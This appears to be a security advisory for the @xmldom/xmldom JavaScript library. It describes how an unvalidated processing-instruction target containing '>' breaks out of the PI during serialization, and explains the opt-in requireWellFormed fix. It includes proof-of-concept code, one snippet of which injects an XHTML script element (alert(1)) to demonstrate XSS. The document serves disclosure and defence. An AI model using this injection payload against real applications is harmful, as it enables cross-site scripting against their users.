                    "text": "## Summary\n\n`Document.createProcessingInstruction()` in `@xmldom/xmldom` performs no validation on the `target` parameter. The `requireWellFormed: true` serializer option validates only for `:` in the target and a case-insensitive `xml` prefix, but does not check for `>` characters. A `>` in the target breaks the processing instruction boundary (`<?...?>`), allowing injection of arbitrary content into the serialized XML output.\n\n## Details\n\n`Document.createProcessingInstruction(target, data)` at `lib/dom.js` around line 2413 accepts any string as the `target` parameter and stores it on the PI node without validation.\n\nDuring serialization, the `requireWellFormed` code path (around line 3286) performs two checks on PI targets:\n\n1. Rejects targets containing `:` (namespace prefix check)\n2. Rejects targets matching `xml` case-insensitively (reserved prefix)\n\nHowever, it does NOT validate that the target conforms to the XML Name production, and critically does NOT check for `>` characters. Since processing instructions are serialized as `<?target data?>`, a `>` in the target prematurely closes the PI, causing the remaining content to be interpreted as document content by any downstream XML parser.\n\n### Root Cause\n\n1. `createProcessingInstruction()` performs no validation on `target`\n2. The serializer's `requireWellFormed` check is incomplete -- it only checks for `:` and `xml`, missing characters that break PI syntax (`>`, `?`, whitespace)\n3. The serializer emits the target verbatim: `<?${target} ${data}?>`\n\n## Proof of Concept\n\n```javascript\nconst { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');\n\nconst impl = new DOMImplementation();\nconst serializer = new XMLSerializer();\nconst doc = impl.createDocument(null, 'root', null);\n\n// PI target containing > breaks the PI boundary\nconst pi = doc.createProcessingInstruction('a>', 'data');\ndoc.documentElement.appendChild(pi);\n\nconst output = serializer.serializeToString(doc, { requireWellFormed: true });\nconsole.log(output);\n// Output: <root><?a> data?></root>\n//\n// The > in the target closes the PI prematurely.\n// A downstream XML parser sees:\n//   - Processing instruction: <?a?>  (target \"a\", no data)\n//   - Text content: \" data?>\"\n//\n// requireWellFormed: true did NOT prevent the injection.\n```\n\n### Injecting elements via PI target\n\n```javascript\nconst pi2 = doc.createProcessingInstruction(\n  'a?><script xmlns=\"http://www.w3.org/1999/xhtml\">alert(1)</script><?b',\n  ''\n);\ndoc.documentElement.appendChild(pi2);\n\nconst output2 = serializer.serializeToString(doc, { requireWellFormed: true });\nconsole.log(output2);\n// Output includes:\n//   <?a?><script xmlns=\"http://www.w3.org/1999/xhtml\">alert(1)</script><?b ?>\n//\n// The injected <script> element is valid XHTML that a browser would execute.\n```\n\n## Impact\n\nApplications that create processing instructions with user-controlled target strings and serialize the result are vulnerable to XML injection. This enables:\n\n- **XML structure injection**: Breaking the PI boundary to inject arbitrary elements, text, or additional processing instructions into the output\n- **XSS via XHTML**: If the serialized output is served as XHTML or processed by a browser-based XML parser, injected script elements will execute\n- **XXE chain**: Injected DOCTYPE declarations or entity references could trigger XXE in downstream XML parsers that consume the output\n- **requireWellFormed bypass**: The existing well-formedness checks are incomplete and provide a false sense of security\n\n## Fix Applied\n\nUnder `requireWellFormed`, the serializer validates a processing-instruction target as an XML `NCName` (a `Name` with no colon) and rejects a case-insensitive `xml`, throwing `InvalidStateError` when the target is ill-formed — so a `>`, `?`, or whitespace in the target is now refused.\\\nOn 0.9.12 this replaces an earlier check that already rejected a colon or `xml`, so the no-colon rule is preserved.\\\n0.8.15 had no processing-instruction target check at all, so the whole target validation is new there.\\\nNon-breaking and opt-in. See the [XML `Name` production](https://www.w3.org/TR/xml/#NT-Name).\n> **⚠ Opt-in required.** Protection is not automatic. Existing serialization calls remain\n> vulnerable unless `{ requireWellFormed: true }` is explicitly passed. Applications that\n> serialize untrusted DOM content should audit all `serializeToString()` call sites and add it.\n\n### Proof of Concept - fixed path\n\n```javascript\nconst { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');\n\nconst impl = new DOMImplementation();\nconst serializer = new XMLSerializer();\nconst doc = impl.createDocument(null, 'root', null);\n\n// PI target containing > breaks the PI boundary\nconst pi = doc.createProcessingInstruction('a>', 'data');\ndoc.documentElement.appendChild(pi);\n\n// Default path: emits the ill-formed target verbatim.\nconsole.log(serializer.serializeToString(doc));\n// Output: <root><?a> data?></root>\n\n// Opt-in path: the target check now rejects the break-out character.\ntry {\n  serializer.serializeToString(doc, { requireWellFormed: true });\n} catch (e) {\n  console.log(e.name); // InvalidStateError\n}\n```\n\n### Why the default stays verbatim\n\nW3C DOM Parsing's require-well-formed flag defaults to false, and the browser `XMLSerializer` emits the target verbatim in that default mode. Unconditionally throwing on an ill-formed PI target would diverge from that platform behavior and would be an unjustified breaking change, so the stricter validation is gated behind `{ requireWellFormed: true }`. (See the [W3C XML Name production](https://www.w3.org/TR/xml/#NT-Name) and [XML Processing Instructions](https://www.w3.org/TR/xml/#sec-pi).)\n\n### Residual limitation\n\nThe default serialization path still emits the ill-formed target verbatim -- only the opt-in `requireWellFormed` path is protected. Creation-time validation of the `target` in `createProcessingInstruction()` is breaking and is deferred to the next breaking release, tracked at [xmldom/xmldom#1073](https://github.com/xmldom/xmldom/issues/1073).",
